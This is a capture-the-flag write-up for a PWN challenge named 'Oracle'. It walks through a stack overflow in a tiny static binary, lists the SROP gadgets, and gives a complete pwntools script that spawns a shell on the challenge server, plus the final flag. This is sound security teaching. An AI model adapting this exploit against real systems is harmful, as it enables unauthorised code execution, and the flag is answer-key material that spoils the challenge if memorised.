Challenge Name: Oracle
Category: PWN
CTF: MOJO-JOJO
Description: Two echoes resonate in the silence. No more instruments. No orchestra. Can you conduct the signal symphony and make the void sing?
Connection: nc mojo-pwn.securinets.tn 9003
Challenge Overview#
The challenge provides a minimal static ELF that prints a short banner and then reads user input. The binary has a classic stack overflow but only a tiny gadget set, so the intended exploitation path is SROP (sigreturn‑oriented programming) to call execve("/bin/sh", 0, 0).
Initial Analysis#
Binary Information#
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Program Behavior#
The void echoes...
ECHOES
In the silence, two sounds remain
Can you make them resonate?
The program then performs a single read and returns.
Vulnerability Discovery#
1. Stack Overflow in listen#
Disassembly shows that listen() allocates 16 bytes on stack but reads 0x200 bytes from stdin:
4010e1: sub rsp,0x10 ; 16-byte buffer
4010f4: lea rax,[rbp-0x10] ; buffer
4010f8: mov edx,0x200 ; size = 512
401100: mov edi,0x0 ; fd = stdin
401105: call syscall_read ; read(0, buf, 0x200)
This overwrites the saved RBP and return address. The offset to RIP is:
- 16 bytes (buffer)
- 8 bytes (saved
RBP)
Total: 24 bytes.
2. Useful Gadgets and Data#
The binary is tiny, but it includes the exact pieces we need for SROP:
/bin/shat0x402000pop rax ; retat0x4010cesyscall ; retat0x4010d7
Exploitation Strategy (SROP)#
We cannot populate rdi, rsi, and rdx with normal ROP because those gadgets do not exist. SROP allows us to restore all registers from a fake signal frame. The plan:
- Overflow the stack to control
RIP. - Use
pop rax ; retto setrax = 15(rt_sigreturn). - Jump to
syscall ; retto enter the kernel’s sigreturn handling. - The kernel reads a
SigreturnFramefrom the stack and restores registers. - After sigreturn, the restored
rippoints tosyscall ; ret, executingexecve("/bin/sh", 0, 0).
Fake Frame Register State#
rax = 59(execve)rdi = 0x402000(pointer to/bin/sh)rsi = 0,rdx = 0(null argv/envp)rip = 0x4010d7(syscall ; ret)rsp = 0x402000(safe pivot into.rodata)
Exploit Payload Layout#
[ padding (24) ]
[ pop rax ; ret ]
[ 15 ]
[ syscall ; ret ]
[ SigreturnFrame (execve) ]
Exploit Code (solve.py)#
#!/usr/bin/env python3
from pwn import *
context.clear(arch="amd64", os="linux")
context.log_level = "info"
BIN_PATH = "./main"
binary = ELF(BIN_PATH, checksec=False)
POP_RAX = 0x4010ce
SYSCALL_RET = 0x4010d7
BINSH = 0x402000
OFFSET = 24
def build_payload():
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = BINSH
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL_RET
frame.rsp = BINSH
payload = b"A" * OFFSET
payload += p64(POP_RAX)
payload += p64(15)
payload += p64(SYSCALL_RET)
payload += bytes(frame)
return payload
def start():
if args.REMOTE:
return remote("mojo-pwn.securinets.tn", 9003)
return process(BIN_PATH)
def main():
io = start()
io.recvuntil(b"echoes...")
io.send(build_payload())
io.interactive()
if __name__ == "__main__":
main()
Final Flag#
Once the shell is obtained, read /app/flag.txt.
MOJO-JOJO{tw0_3ch03s_c4n_s1ng_1n_h4rm0ny_sigr3turn_symph0ny}





